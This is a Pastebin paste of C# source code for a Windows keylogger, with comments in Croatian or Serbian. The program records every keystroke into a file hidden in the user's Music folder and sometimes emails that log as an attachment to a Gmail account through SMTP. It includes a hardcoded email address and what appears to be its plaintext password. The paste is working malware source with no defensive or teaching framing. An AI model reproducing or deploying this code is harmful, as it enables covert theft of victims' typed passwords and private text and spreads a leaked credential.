Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.IO;
- using System.Threading;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using System.Net.Mail;
- namespace newapplicationKeylogger
- {
- class Program
- {
- private static int i;
- [DllImport("User32.dll")]
- public static extern int GetAsyncKeyState(Int32 i);
- static void Main(string[] args)
- {
- Random rand = new Random();
- int randomnumber = rand.Next(1, 3);
- if (randomnumber == 2)
- {
- SendMail();
- }
- LogKeys();
- }
- static void SendMail()
- {
- String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
- string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.text"; // lokacija foldera sa zapisanim logovim
- DateTime dateTime = DateTime.Now; // Datum poziva funkcije
- string subtext = "Loggedfiles"; // Dodavanje predmeta poruke
- subtext += dateTime; //dodavanje datuma u predmet poruke
- SmtpClient client = new SmtpClient("smtp.gmail.com", 587); // 587 je port od Gmail-a
- MailMessage LOGMESSAGE = new MailMessage();
- LOGMESSAGE.From = new MailAddress("ivan.milas3@gmail.com"); // Adresa sa koje šaljemo logove
- LOGMESSAGE.To.Add("ivan.milas3@gmail.com"); // adresa na koju šaljemo logove
- LOGMESSAGE.Subject = subtext; // predmet poruke
- client.UseDefaultCredentials = false;
- client.EnableSsl = true;
- client.Credentials = new System.Net.NetworkCredential("ivan.milas3@gmail.com", "TZE2fC6s");//Ovdje unosimo vlastitu e-mail adresu i lozinku
- string newfile = File.ReadAllText(Newfilepath2); // citamo tekst koji se nalazi na danoj lokaciji
- System.Threading.Thread.Sleep(2);
- string attachmenttextfile = Newfilepath + @"\LogsFolder\attachmenttextfile.text"; // dodavanje novog fajla nakon slanja
- File.WriteAllText(attachmenttextfile, newfile); // zapisujemo tekst u novu datoteku
- System.Threading.Thread.Sleep(2);
- LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2)); // dodajemo privitak u email koji saljemo
- LOGMESSAGE.Body = subtext; //tijelo poruke ostavljamo prazno
- client.Send(LOGMESSAGE); // slanje poruke
- LOGMESSAGE = null; // brišemo prethodne vrijednosti
- }
- static void LogKeys()
- {
- String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
- filepath = filepath + @"\LogsFolder\";
- if (!Directory.Exists(filepath))
- {
- Directory.CreateDirectory(filepath);
- }
- string path = (@filepath + "LoggedKeys.text");
- if (!File.Exists(path))
- {
- using (StreamWriter sw = File.CreateText(path))
- {
- }
- //kraj trazenja datoteke
- }
- KeysConverter converter = new KeysConverter();
- string text = "";
- while (5 > 1)
- {
- Thread.Sleep(5);
- for (Int32 i = 0; i < 2000; i++)
- {
- int key = GetAsyncKeyState(i);
- if (key == 1 || key == -32767)
- {
- text = converter.ConvertToString(i);//pretvaranje znaka
- using (StreamWriter sw = File.AppendText(path))
- {
- sw.WriteLine(text);
- }
- break;
- }
- }
- }
- }
- }
- }
Add Comment
Please, Sign In to add comment